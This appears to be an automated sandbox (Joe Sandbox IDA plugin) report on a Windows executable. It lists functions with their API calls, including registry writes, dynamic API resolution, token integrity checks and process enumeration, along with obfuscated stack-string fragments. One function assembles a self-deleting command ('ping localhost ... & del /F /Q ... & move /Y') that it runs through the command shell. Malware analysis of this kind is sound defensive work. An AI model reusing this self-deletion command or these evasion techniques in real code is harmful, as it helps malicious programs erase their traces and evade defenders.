HeapFree.KERNEL32(00000000), ref: 0041745A

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

5, xrefs: 00416DE5
?, xrefs: 00416FEB
,, xrefs: 0041702A
), xrefs: 00416DC9
2, xrefs: 00416E5D
>, xrefs: 00416E89
), xrefs: 00416DDD
<, xrefs: 00416FD6
P, xrefs: 00416FF9
4, xrefs: 00416E71
R, xrefs: 0041709A
P, xrefs: 00416E69
#, xrefs: 0041708E
P, xrefs: 00416ECD
e, xrefs: 00416ED5
?, xrefs: 00416E61
Y, xrefs: 00416DCD
,, xrefs: 00416E85
%, xrefs: 0041700E
P, xrefs: 00417096
2EM5hP, xrefs: 00416E3F
%, xrefs: 00416E75
<, xrefs: 00416E55
!!, xrefs: 004170CC
4, xrefs: 00417007
9, xrefs: 00416EA1
>, xrefs: 00416EC9
?, xrefs: 00416EB5
1, xrefs: 00416DC5
e, xrefs: 0041709E
>, xrefs: 00417031
9, xrefs: 0041705B
:, xrefs: 00416FF2
~, xrefs: 00416DD5
1, xrefs: 00417054
(, xrefs: 00416E79
R, xrefs: 00417000
!, xrefs: 00416DE1
(, xrefs: 00417015
#, xrefs: 00416EC5
ffePM, xrefs: 004170FA
>, xrefs: 00417092
ffePM, xrefs: 00416F2E
R, xrefs: 00416ED1
\, xrefs: 00416DC1
?, xrefs: 0041707E
1, xrefs: 00416E9D
2, xrefs: 00416FE4
R, xrefs: 00416E6D
+, xrefs: 00417038
:, xrefs: 00416E65
+, xrefs: 00416E8D
!, xrefs: 00416F0C
V, xrefs: 00416DD9

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Handle$AddressModuleProc$AllocFree$Close$CurrentOpenWow64
String ID: !$!$!!$#$#$%$%$($($)$)$+$+$,$,$1$1$1$2$2$2EM5hP$4$4$5$9$9$:$:$<$<$>$>$>$>$?$?$?$?$P$P$P$P$R$R$R$R$V$Y$\$e$e$ffePM$ffePM$~
API String ID: 3690664520-534749425
Opcode ID: a3fa3492de525493a6cf5846562125a06b7141de09cbdc70ff3c0eb4d1214f19
Instruction ID: fd299e7fb60bae38e9fcae0f32b18e049874a5b4ca39b13c22fa8c88bb2c1c8e
Opcode Fuzzy Hash: a3fa3492de525493a6cf5846562125a06b7141de09cbdc70ff3c0eb4d1214f19
Instruction Fuzzy Hash: B5327130D04298DFEF15CBA8D848BDEBFB1AF15308F148099D5456B382C7B95A85CF66

Function 00408BE0, Relevance: 98.2, APIs: 5, Strings: 51, Instructions: 207registrysleep

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

wsprintfA.USER32 ref: 00408E45
RegOpenKeyA.ADVAPI32(80000001,?,00000000), ref: 00408E5E
RegSetValueExA.ADVAPI32(00000000,00000000,00000000,00000004,00000003,00000004), ref: 00408E86
RegCloseKey.ADVAPI32(00000000), ref: 00408E90
Sleep.KERNEL32(000003E8,00000005,00000046), ref: 00408E9D

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

3, xrefs: 00408C15
2, xrefs: 00408C71
!, xrefs: 00408CDD
&, xrefs: 00408CD5
<, xrefs: 00408CBD
-, xrefs: 00408C6D
0, xrefs: 00408CB1
4, xrefs: 00408D01
4, xrefs: 00408CE9
", xrefs: 00408CD1
,, xrefs: 00408D0D
., xrefs: 00408C29
, xrefs: 00408C75
', xrefs: 00408C05
*, xrefs: 00408CF9
;, xrefs: 00408C95
n, xrefs: 00408D15
1, xrefs: 00408C2D
=, xrefs: 00408C5D
5, xrefs: 00408CB9
&, xrefs: 00408CAD
-, xrefs: 00408C7D
=, xrefs: 00408CCD
-, xrefs: 00408C99
&, xrefs: 00408C45
7, xrefs: 00408C8D
lHDnGR, xrefs: 00408D6F
?, xrefs: 00408C01
), xrefs: 00408CA1
;, xrefs: 00408C65
', xrefs: 00408CF5
-, xrefs: 00408C1D
', xrefs: 00408C35
JwqjH, xrefs: 00408DDF, 00408DF6
!, xrefs: 00408C41
#, xrefs: 00408C59
<, xrefs: 00408CC5
%, xrefs: 00408CA9
xBAZH1, xrefs: 00408DEF
", xrefs: 00408C09
-, xrefs: 00408C51
F, xrefs: 00408D4D
0, xrefs: 00408C49
*, xrefs: 00408CE1
0, xrefs: 00408C11
6, xrefs: 00408CF1
I, xrefs: 00408D09
#, xrefs: 00408C25
*, xrefs: 00408C81
d, xrefs: 00408CC9
7, xrefs: 00408C39

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocCloseFreeOpenSleepValuewsprintf
String ID: $!$!$"$"$#$#$%$&$&$&$'$'$'$)$*$*$*$,$-$-$-$-$-$.$0$0$0$1$2$3$4$4$5$6$7$7$;$;$<$<$=$=$?$F$I$JwqjH$d$lHDnGR$n$xBAZH1
API String ID: 2281914748-923406252
Opcode ID: 2cfa921bb93c54894b395b0063711c64ba6b8b4d6609d294d6d535a9f48da2e9
Instruction ID: 651498f44f3f8a927f404021a39d2df27b733861c3e86278e431c526f48197f2
Opcode Fuzzy Hash: 2cfa921bb93c54894b395b0063711c64ba6b8b4d6609d294d6d535a9f48da2e9
Instruction Fuzzy Hash: C9B10A60D082C8DAEB12C7E8D5587DDBFB55F26308F18409ED5857B2C2C7FA0649CB6A

Function 0040D030, Relevance: 84.3, APIs: 8, Strings: 40, Instructions: 318libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,00000010,0000000A,0000000D), ref: 0040D283
GetProcAddress.KERNEL32(00000000), ref: 0040D28A
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040D2A8
GetProcAddress.KERNEL32(00000000), ref: 0040D2AF

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

GetModuleHandleA.KERNEL32(00000000,00000000,00000009,0000000F), ref: 0040D468
GetProcAddress.KERNEL32(00000000), ref: 0040D46F
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 0040D490
GetProcAddress.KERNEL32(00000000), ref: 0040D497

Strings

., xrefs: 0040D1B9
", xrefs: 0040D32B
', xrefs: 0040D3C1
, xrefs: 0040D1C0
q, xrefs: 0040D07E
,, xrefs: 0040D3CD
*, xrefs: 0040D313
-, xrefs: 0040D333
?, xrefs: 0040D317
%, xrefs: 0040D3BD
+, xrefs: 0040D31F
dCb5Xi, xrefs: 0040D43A
1, xrefs: 0040D072
L, xrefs: 0040D082
5, xrefs: 0040D327
B, xrefs: 0040D1FF
t, xrefs: 0040D102
3, xrefs: 0040D30F
P, xrefs: 0040D347
y, xrefs: 0040D1F8
2igdAk, xrefs: 0040D180
Y, xrefs: 0040D1B2
&, xrefs: 0040D122
8, xrefs: 0040D08A
\, xrefs: 0040D1D5
&, xrefs: 0040D066
p, xrefs: 0040D07A
], xrefs: 0040D11A
b, xrefs: 0040D3DD
', xrefs: 0040D323
d, xrefs: 0040D126
>, xrefs: 0040D337
(, xrefs: 0040D062
Bfpl8, xrefs: 0040D25B
t, xrefs: 0040D3C9
tFPlJK, xrefs: 0040D3A4
C, xrefs: 0040D092
4, xrefs: 0040D32F
CCbkTy, xrefs: 0040D0EC
$, xrefs: 0040D33B

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AddressHandleHeapModuleProc$Process$AllocFree
String ID: $"$$$%$&$&$'$'$($*$+$,$-$.$1$2igdAk$3$4$5$8$>$?$B$Bfpl8$C$CCbkTy$L$P$Y$\$]$b$d$dCb5Xi$p$q$t$t$tFPlJK$y
API String ID: 2164069388-2261945943
Opcode ID: 526669c7b3495b9aa569de39c5ffbda6a2dd49d3ebb5c6663a9cb850eb0f0c80
Instruction ID: 4e62a9bc9d7c59397fd68c17b6d069b342d36e141d4ffcdc8acc1331d6a733bc
Opcode Fuzzy Hash: 526669c7b3495b9aa569de39c5ffbda6a2dd49d3ebb5c6663a9cb850eb0f0c80
Instruction Fuzzy Hash: E5F12270D082D8DAEF11DBA8C9587DEBFB16F11308F14409DD4857B2C2CBB91A49DB66

Function 004110F0, Relevance: 79.0, APIs: 11, Strings: 34, Instructions: 256memory

APIs

OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00411108
GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 00411124
GetLastError.KERNEL32 ref: 00411132
GetProcessHeap.KERNEL32(00000008,?), ref: 00411147
HeapAlloc.KERNEL32(00000000), ref: 0041114E

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),00000000,?,?,00000015), ref: 00411235
GetSidSubAuthorityCount.ADVAPI32(?,00000012), ref: 004112FF
GetSidSubAuthority.ADVAPI32(00000000,?,00000010,?,00000012), ref: 004113D8
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041143C
HeapFree.KERNEL32(00000000), ref: 00411443

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

CloseHandle.KERNEL32(?), ref: 00411458

Strings

], xrefs: 0041119D
A, xrefs: 00411175
9, xrefs: 0041117D
\, xrefs: 00411283
), xrefs: 00411191
;, xrefs: 00411243
D, xrefs: 00411287
3oXvu, xrefs: 0041120A
(, xrefs: 00411344
Zz5hM, xrefs: 004113B2
1, xrefs: 00411169
f, xrefs: 00411161
:, xrefs: 0041124F
[, xrefs: 0041127F
Z, xrefs: 0041135C
, xrefs: 00411277
", xrefs: 00411330
6, xrefs: 00411171
, xrefs: 00411263
@, xrefs: 0041133C
1, xrefs: 004111A5
V, xrefs: 00411350
+, xrefs: 00411273
Y, xrefs: 00411328
hjDNj, xrefs: 004112E0
+, xrefs: 0041132C
`, xrefs: 00411189
7, xrefs: 0041124B
1, xrefs: 0041125F
7, xrefs: 00411334
Z, xrefs: 0041127B
[, xrefs: 00411354
3, xrefs: 004111B1
,, xrefs: 0041125B

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Token$AllocAuthorityFreeInformation$CloseCountErrorHandleLastOpen
String ID: $ $"$($)$+$+$,$1$1$1$3$3oXvu$6$7$7$9$:$;$@$A$D$V$Y$Z$Z$Zz5hM$[$[$\$]$`$f$hjDNj
API String ID: 274693827-4037523822
Opcode ID: e1b7bd848f3ea4216fa8c7fbc4a08da5760d1ef9336b7389613c301151a8f28c
Instruction ID: 5b134ec1dcdafd7fba1b612279e750362de7a322f11b2e557e3fbb321b1c81ea
Opcode Fuzzy Hash: e1b7bd848f3ea4216fa8c7fbc4a08da5760d1ef9336b7389613c301151a8f28c
Instruction Fuzzy Hash: 9BC15F309082C8DEEB11CBE8D8587EEBFB56F16308F18409DD5457B292C7BA4649CB66

Function 00401010, Relevance: 75.6, APIs: 1, Strings: 42, Instructions: 308

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,0000000A), ref: 004010F3

Part of subcall function 004185C0: CreateFileW.KERNEL32(004011B9,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00418687
Part of subcall function 004185C0: SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000), ref: 004186A2
Part of subcall function 004185C0: ReadFile.KERNEL32(000000FF,?,00000004,?,00000000), ref: 004186BD
Part of subcall function 004185C0: CloseHandle.KERNEL32(000000FF), ref: 004186DA
Part of subcall function 004185C0: GetProcessHeap.KERNEL32(00000000,004011B9), ref: 004186F8
Part of subcall function 004185C0: HeapFree.KERNEL32(00000000), ref: 004186FF

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

v04Cz7, xrefs: 004013E4
5, xrefs: 0040107A
b, xrefs: 00401243
@, xrefs: 00401337
G, xrefs: 00401306
U, xrefs: 00401361
%, xrefs: 004011F7
#, xrefs: 00401117
W, xrefs: 00401127
), xrefs: 00401072
Whsbbp, xrefs: 0040129D
=, xrefs: 0040112F
\, xrefs: 00401056
#, xrefs: 00401227
6, xrefs: 0040111F
,, xrefs: 004012FF
$, xrefs: 00401133
E, xrefs: 0040134C
", xrefs: 0040121B
z, xrefs: 00401387
d, xrefs: 0040130D
S, xrefs: 00401330
R, xrefs: 00401373
2, xrefs: 0040112B
/, xrefs: 00401368
:, xrefs: 00401383
%, xrefs: 00401233
), xrefs: 0040105E
Y, xrefs: 00401062
E, xrefs: 0040135A
2EM5hP, xrefs: 004010D4
V, xrefs: 0040106E
Y, xrefs: 00401137
~, xrefs: 0040106A
!, xrefs: 00401076
C, xrefs: 00401322
_, xrefs: 0040137B
7, xrefs: 0040136F
1, xrefs: 0040105A
F, xrefs: 0040137F
1, xrefs: 00401314
3vQHYk, xrefs: 00401191

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$FileProcess$FreeHandle$AllocCloseCreateModulePointerRead
String ID: !$"$#$#$$$%$%$)$)$,$/$1$1$2$2EM5hP$3vQHYk$5$6$7$:$=$@$C$E$E$F$G$R$S$U$V$W$Whsbbp$Y$Y$\$_$b$d$v04Cz7$z$~
API String ID: 2447648661-580218970
Opcode ID: 972496bfc61757cd7ac729d75b75de8f98ebf4b622943864e7ba7eb864556fb3
Instruction ID: 49e7ffb94a74dc19e4a86eedb40a2602aff05cb77f67c7d8c02cc580c63ecd83
Opcode Fuzzy Hash: 972496bfc61757cd7ac729d75b75de8f98ebf4b622943864e7ba7eb864556fb3
Instruction Fuzzy Hash: B2E16430D082C8CAEB11DBA8C9597DEBFB16F15308F5440ADD1457B2D2C7BE1A49CB6A

Function 004088D0, Relevance: 70.2, APIs: 5, Strings: 35, Instructions: 230memorylibraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,0000000D,00000010,?), ref: 00408A6F
GetProcAddress.KERNEL32(00000000), ref: 00408A76
GetProcessHeap.KERNEL32(00000008,00000104), ref: 00408AB5
HeapAlloc.KERNEL32(00000000), ref: 00408ABC
wsprintfA.USER32 ref: 00408B86

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

1, xrefs: 004089CD
`, xrefs: 00408ADD
C, xrefs: 004089ED
8, xrefs: 00408925
., xrefs: 00408919
p, xrefs: 004089D5
r, xrefs: 00408AD1
l, xrefs: 00408939
o, xrefs: 00408AF9
`, xrefs: 00408AF1
L, xrefs: 004089DD
>, xrefs: 0040893D
8, xrefs: 004089E5
WoWEc, xrefs: 00408B57
&, xrefs: 004089C1
zKZe8W, xrefs: 004089A7
(, xrefs: 004089BD
), xrefs: 00408949
., xrefs: 0040892D
5, xrefs: 0040891D
S, xrefs: 00408AF5
., xrefs: 00408915
z, xrefs: 00408AD9
z, xrefs: 00408AED
), xrefs: 00408931
S, xrefs: 00408AE1
q, xrefs: 004089D9
CCbkTy, xrefs: 00408A47
=, xrefs: 00408911
J, xrefs: 00408921
|@, xrefs: 00408B4C, 00408B5F, 00408B44, 00408B2C
W, xrefs: 00408B01
e, xrefs: 0040894D
., xrefs: 00408945
o, xrefs: 00408AE5

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Alloc$AddressFreeHandleModuleProcwsprintf
String ID: &$($)$)$.$.$.$.$1$5$8$8$=$>$C$CCbkTy$J$L$S$S$W$WoWEc$`$`$e$l$o$o$p$q$r$z$z$zKZe8W$|@
API String ID: 1431539280-89344130
Opcode ID: e9f1b03533dff3706f92dc723519b8b6f78c20aa5153ea53f8fef04f28b54cc3
Instruction ID: 95a7d120ceedc9233409d0ef334a6b3fc920833b6225317eb86759e95aa64c57
Opcode Fuzzy Hash: e9f1b03533dff3706f92dc723519b8b6f78c20aa5153ea53f8fef04f28b54cc3
Instruction Fuzzy Hash: 03B14170D082C8DAEF11DBA8D9587DEBFB56F15308F1440ADD0857B2C2CBB91A49CB65

Function 00417690, Relevance: 64.9, APIs: 4, Strings: 33, Instructions: 167libraryloader

APIs

GetCurrentProcessId.KERNEL32 ref: 004176BA
CloseHandle.KERNEL32(000000FF), ref: 004178BB

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,0000001B,0000000A), ref: 00417854
GetProcAddress.KERNEL32(00000000), ref: 0041785B

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

2EM5hP, xrefs: 00417754
4, xrefs: 0041776E
E, xrefs: 004177D2
5, xrefs: 004176FA
,, xrefs: 00417792
R, xrefs: 004177CA
), xrefs: 004176F2
S, xrefs: 0041777E
T, xrefs: 0041778E
dCE5He, xrefs: 0041782C
:, xrefs: 004177C2
Z, xrefs: 004177BE
), xrefs: 004176DE
), xrefs: 004177AA
!, xrefs: 004176F6
1, xrefs: 004177A2
3, xrefs: 00417796
, xrefs: 0041778A
w, xrefs: 004177CE
~, xrefs: 004176EA
1, xrefs: 0041779E
Y, xrefs: 004176E2
P, xrefs: 00417782
(, xrefs: 004177BA
>, xrefs: 0041776A
@, xrefs: 004177A6
1, xrefs: 004176DA
\, xrefs: 004176D6
&, xrefs: 004177B6
Z, xrefs: 00417776
V, xrefs: 004176EE
), xrefs: 004177B2
?, xrefs: 0041777A

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Handle$AddressAllocCloseCurrentFreeModuleProc
String ID: $!$&$($)$)$)$)$,$1$1$1$2EM5hP$3$4$5$:$>$?$@$E$P$R$S$T$V$Y$Z$Z$\$dCE5He$w$~
API String ID: 2515097674-389684956
Opcode ID: 206ebe5a9d28a45911675b22eabc8abbf42c41e0030c383d2d9d9bba79b2c44b
Instruction ID: 33b806140b099387b81df59ac14fdc87e391a2b777d3f11c6fe77bde97a48ce8
Opcode Fuzzy Hash: 206ebe5a9d28a45911675b22eabc8abbf42c41e0030c383d2d9d9bba79b2c44b
Instruction Fuzzy Hash: 93815030D082C8DEEB11DBE8D9587DEBFB56F15308F14409AE4417B2C2C7B91A49CB6A

Function 00403B80, Relevance: 59.6, APIs: 25, Strings: 9, Instructions: 117stringthread

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00403B97
GetEnvironmentVariableW.KERNEL32(COMSPEC,?,00000104), ref: 00403BB6
lstrcpyW.KERNEL32(?,/c ping localhost -n 4 & del /F /Q "), ref: 00403BD0
lstrcatW.KERNEL32 ref: 00403BE4
lstrcatW.KERNEL32 ref: 00403BF6
lstrcatW.KERNEL32 ref: 00403C12
lstrcatW.KERNEL32 ref: 00403C26
lstrcatW.KERNEL32 ref: 00403C38
lstrcatW.KERNEL32 ref: 00403C4C
lstrcatW.KERNEL32 ref: 00403C5E
lstrcatW.KERNEL32 ref: 00403C72
lstrcatW.KERNEL32 ref: 00403C84
GetCurrentProcess.KERNEL32(00000100), ref: 00403CCB
SetPriorityClass.KERNEL32(00000000), ref: 00403CD2
GetCurrentThread.KERNEL32(0000000F), ref: 00403CDA
SetThreadPriority.KERNEL32(00000000), ref: 00403CE1
CoInitializeEx.OLE32(00000000,00000006), ref: 00403CEB
ShellExecuteExW.SHELL32(0000003C), ref: 00403CF5
SetPriorityClass.KERNEL32(?,00000040), ref: 00403D05
SetProcessPriorityBoost.KERNEL32(?,00000001), ref: 00403D11
SHChangeNotify.SHELL32(00000004,00000005,?,00000000), ref: 00403D24
GetCurrentProcess.KERNEL32(00000020), ref: 00403D35
SetPriorityClass.KERNEL32(00000000), ref: 00403D3C
GetCurrentThread.KERNEL32(00000000), ref: 00403D44
SetThreadPriority.KERNEL32(00000000), ref: 00403D4B

Strings

" > nul, xrefs: 00403BEA
& move /Y ", xrefs: 00403C06
" > nul & ", xrefs: 00403C52
COMSPEC, xrefs: 00403BB1
Open, xrefs: 00403C98
@, xrefs: 00403CBF
.update" ", xrefs: 00403C2C
<, xrefs: 00403C8A
/c ping localhost -n 4 & del /F /Q ", xrefs: 00403BC4

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: lstrcat$Priority$CurrentThread$ClassProcess$BoostChangeEnvironmentExecuteFileInitializeModuleNameNotifyShellVariablelstrcpy
String ID: " > nul$" > nul & "$& move /Y "$.update" "$/c ping localhost -n 4 & del /F /Q "$<$@$COMSPEC$Open
API String ID: 2374121488-1094493636
Opcode ID: 5914de1364d27532b5581372f074e2becf26d5148e5a0a8a3467f43537745994
Instruction ID: 25430283349dd77520657cbf4ddd74f69beb958e995fe6404a98b1007e3dfd0e
Opcode Fuzzy Hash: 5914de1364d27532b5581372f074e2becf26d5148e5a0a8a3467f43537745994
Instruction Fuzzy Hash: 074110719C0219ABDB109FE0DD8DBEE7778BB48706F0084A5B605A6091DBB956888F58

Function 0040FB20, Relevance: 54.4, APIs: 2, Strings: 29, Instructions: 127libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 0040FC89
GetProcAddress.KERNEL32(00000000), ref: 0040FC90

Part of subcall function 0040FF90: GetModuleHandleA.KERNEL32(00000000,00000000,00000016,0000000A), ref: 004100FD
Part of subcall function 0040FF90: GetProcAddress.KERNEL32(00000000), ref: 00410104

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

!, xrefs: 0040FB47
c, xrefs: 0040FBEF
D, xrefs: 0040FBFB
V, xrefs: 0040FB3F
C, xrefs: 0040FC0B
C0o0T, xrefs: 0040FC61
Y, xrefs: 0040FB33
_, xrefs: 0040FC03
~, xrefs: 0040FB3B
5, xrefs: 0040FB4B
2EM5hP, xrefs: 0040FBA5
), xrefs: 0040FB43
9, xrefs: 0040FBCB
4, xrefs: 0040FBE3
1, xrefs: 0040FBF3
^, xrefs: 0040FBC7
9, xrefs: 0040FBD7
Y, xrefs: 0040FBDB
), xrefs: 0040FB2F
", xrefs: 0040FBCF
1, xrefs: 0040FBDF
1, xrefs: 0040FB2B
@, xrefs: 0040FBD3
P+@, xrefs: 0040FB26
D, xrefs: 0040FBBF
\, xrefs: 0040FB27
, xrefs: 0040FBF7
:, xrefs: 0040FBC3
:, xrefs: 0040FC07

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$AddressProcProcess$AllocFreeHandleLibraryLoadModule
String ID: $!$"$)$)$1$1$1$2EM5hP$4$5$9$9$:$:$@$C$C0o0T$D$D$P+@$V$Y$Y$\$^$_$c$~
API String ID: 4116541738-1405965688
Opcode ID: dc6dbe22baee24018744b947e7cc43d06f5b1f99ed3fd6b5df4778f076da86e0
Instruction ID: 02c099093e96a69fce6289e9ed502c07be71fb679ff479f9dfde49a5fbb21142
Opcode Fuzzy Hash: dc6dbe22baee24018744b947e7cc43d06f5b1f99ed3fd6b5df4778f076da86e0
Instruction Fuzzy Hash: 2D513130D082C8DAEF12D7E8D5587EEBFB55F15308F1840AAE541372C2C7B91649CB6A

Function 0040C7E0, Relevance: 52.7, APIs: 12, Strings: 18, Instructions: 237memorystringthread

APIs

FindAtomW.KERNEL32(?), ref: 0040C853

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,00000009,0000000D), ref: 0040C9A9
GetProcAddress.KERNEL32(00000000), ref: 0040C9B0
GetProcessHeap.KERNEL32(00000008,0000000C), ref: 0040C9C7
HeapAlloc.KERNEL32(00000000), ref: 0040C9CE
CreateThread.KERNEL32(00000000,00000000,00408760,?,00000000,00000000), ref: 0040C9F1
CloseHandle.KERNEL32(00000000), ref: 0040C9F8

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

CloseHandle.KERNEL32(00000000), ref: 0040CAFC

Part of subcall function 00407F20: OpenProcess.KERNEL32(00100410,00000000,00000000,?,?,0040CA5E), ref: 00407F44
Part of subcall function 00407F20: GetProcessImageFileNameA.PSAPI(00000000,0040CA5E,00000104,?,0040CA5E), ref: 00407F60
Part of subcall function 00407F20: CloseHandle.KERNEL32(00000000), ref: 00407F6A

lstrlenA.KERNEL32(?,?,?), ref: 0040CA65
lstrlenA.KERNEL32(?), ref: 0040CA76

Part of subcall function 00411470: lstrlenA.KERNEL32(00000000,00000000), ref: 0041149A
Part of subcall function 00411470: GetProcessHeap.KERNEL32(00000008,-00000001,?,00000000), ref: 004114EC
Part of subcall function 00411470: HeapAlloc.KERNEL32(00000000,?,00000000), ref: 004114F3
Part of subcall function 00411470: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,00000000), ref: 00411584
Part of subcall function 00411470: HeapFree.KERNEL32(00000000), ref: 0041158B

Part of subcall function 00407CB0: OpenProcess.KERNEL32(00000400,00000000,0040CAA7), ref: 00407CC8
Part of subcall function 00407CB0: GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00407D06
Part of subcall function 00407CB0: HeapFree.KERNEL32(00000000), ref: 00407D0D
Part of subcall function 00407CB0: CloseHandle.KERNEL32(00000000), ref: 00407D17

Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208,004290C8), ref: 004073F9
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407400
Part of subcall function 004073E0: GetProcessHeap.KERNEL32(00000008,00000208), ref: 0040741A
Part of subcall function 004073E0: HeapAlloc.KERNEL32(00000000), ref: 00407421
Part of subcall function 004073E0: OpenProcess.KERNEL32(00000400,00000000,?), ref: 00407475
